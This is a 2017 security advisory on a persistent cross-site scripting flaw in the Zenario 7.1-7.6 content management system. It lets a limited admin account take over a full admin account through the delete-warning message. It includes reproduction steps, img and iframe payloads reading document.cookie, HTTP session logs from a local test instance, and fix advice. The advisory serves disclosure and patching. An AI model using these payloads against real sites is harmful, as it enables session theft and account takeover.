Zenario 7.6 Cross Site Scripting

`Document Title:  
===============  
Zenario v7.6 - (Delete) Persistent Cross Site Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2042  
  
  
Release Date:  
=============  
2017-03-20  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2042  
  
  
Common Vulnerability Scoring System:  
====================================  
3.6  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Product & Service Introduction:  
===============================  
Zenario is a web-based content management system for sites with one or many languages. It's designed to grow with   
your site, adding extranet, online database and custom functionality when you need it. Zenario 7.2 has a new feature   
to add CSS styles and media queries, thereby allowing you to make mobile-friendly "responsive" email newsletters.  
  
(Copy of the Homepage: http://zenar.io/ )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the official   
Zenario v7.1 - v7.6 content management system web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-03-20: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Zenario  
Product: Zenario - Content Management System (Web-Application) 7.1  
  
Zenario  
Product: Zenario - Content Management System (Web-Application) 7.2  
  
Zenario  
Product: Zenario - Content Management System (Web-Application) 7.3  
  
Zenario  
Product: Zenario - Content Management System (Web-Application) 7.4  
  
Zenario  
Product: Zenario - Content Management System (Web-Application) 7.5  
  
Zenario  
Product: Zenario - Content Management System (Web-Application) 7.6  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistent input validation vulnerability has been discovered in the official Zenario v7.1 - v7.6 content management system.  
The cross site scripting vulnerability allows remote attackers to inject own malicious script code via persistent attack vector.  
  
The persistent cross site scripting vulnerability is located in the `zenario_fbWarning - snippet_warning` parameters of   
the `organizer.php` and `admin_boxes.ajax.php` files. Limited admin accounts and translator accounts are able to takeover   
the full admin account by manipulation of the delete post method request content. The attacker with the low privilege admin   
account injects his code without visible execution to the database management system via web-application. The execution   
point occurs in case of an item delete request by the full admin user account. The request method to inject is POST and   
the attack vector of the vulnerability is persistent on the application-side.  
  
The security risk of the xss vulnerability is estimated as medium with a common vulnerability scoring system count of 3.6.   
Exploitation of the persistent xss web vulnerability requires a limited admin user account and only low user interaction.   
Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent external   
redirect to malicious sources and persistent manipulation of affected or connected web module context.  
  
Request Method(s):  
[+] POST   
  
Vulnerable Function(s):  
[+] Delete Function (Item)  
  
Vulnerable File(s):  
[+] admin_boxes.ajax.php  
[+] organizer.php  
  
Vulnerable Parameter(s):  
[+] zenario_fbWarning - snippet_warning  
  
Affected Module(s):  
[+] ./zenario/admin/  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation vulnerability can be exploited by restricted user accounts with low user interaction.  
For security demonstraton or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce ...  
1. Login with the restricted account to the frontend or backend of zenario  
2. Add any new function, role, group, module, form or post to the dbms via post  
3. Now, logout and login with a high privilege admin user test account   
4. Improve the backend by processing to delete the new entry of the other low privilege user account  
Note: A warning occurs that displays the input of the content that should be deleted  
4. The execution occurs on each delete request via post of a high privilege admin account in the zerario_fbWarning exception message content  
5. Successful reproduce of the persistent cross site scripting vulnerability!  
  
Note: In the security check we used a limited admin account to takeover the full admin account to compromise via backend  
  
  
PoC: Vulnerable Source (zenario_fbWarning - snippet_warning)  
<div class="div_table_column">  
<div class="">  
<div class="zenario_fbWarning"><span id="snippet__warning">  
Are you sure you wish to delete the role "<[PERSISTENT SCRIPT CODE EXECUTION POINT!]">?</span></div>  
</div>  
  
  
Payload: XSS  
"<img src="evil.source" onload=alert(document.cookie)>  
"<iframe src="evil.source" onload=alert(document.cookie)>  
  
  
--- PoC Session Logs (Inject & Execute) ---  
Status: 200[OK]  
POST http://zenar.io.localhost:8080/zenario/admin/admin_boxes.ajax.php?path=zenario_organization_manager__delete_role&id=4  
Mime Type[text/javascript]  
Request Header:  
Host[zenar.io.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]  
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]  
X-Requested-With[XMLHttpRequest]  
Referer[http://zenar.io.localhost:8080/zenario/admin/organizer.php?fromCID=1&fromCType=html]  
Connection[keep-alive]  
POST-Daten:  
_fill[true]  
_values[]  
Response Header:  
Server[Apache/2.4.23 (Ubuntu)]  
Set-Cookie[PHPSESSID=htlnidme4vsj2f1am2n1jbjr44; path=/; HttpOnly]  
X-Frame-Options[SAMEORIGIN]  
Content-Length[432]  
Keep-Alive[timeout=5, max=98]  
Connection[Keep-Alive]  
Content-Type[text/javascript; charset=UTF-8]  
- Execution Point  
Status: 200[OK]  
GET http://zenar.io.localhost:8080/zenario/admin/evil.source  
Mime Type[text/html]  
Request Header:  
Host[zenar.io.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]  
Referer[http://zenar.io.localhost:8080/zenario/admin/organizer.php?fromCID=x&fromCType=html]  
Connection[keep-alive]  
Response Header:  
Server[Apache/2.4.23 (Ubuntu)]  
Content-Length[292]  
Connection[Keep-Alive]  
Content-Type[text/html; charset=iso-8859-1]  
  
  
Reference(s):  
http://zenar.io.localhost:8080/  
http://zenar.io.localhost:8080/zenario/  
http://zenar.io.localhost:8080/zenario/admin/  
http://zenar.io.localhost:8080/zenario/admin/organizer.php  
http://zenar.io.localhost:8080/zenario/admin/admin_boxes.ajax.php  
  
  
Solution - Fix & Patch:  
=======================  
1. Escape the content that is displayed of the database management system in the warning message content  
2. Disallow the usage of special chars on in warning messages and replace the content to sanitize  
  
  
Security Risk:  
==============  
The security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium. (CVSS 3.6)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)  
  
  
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=========================  
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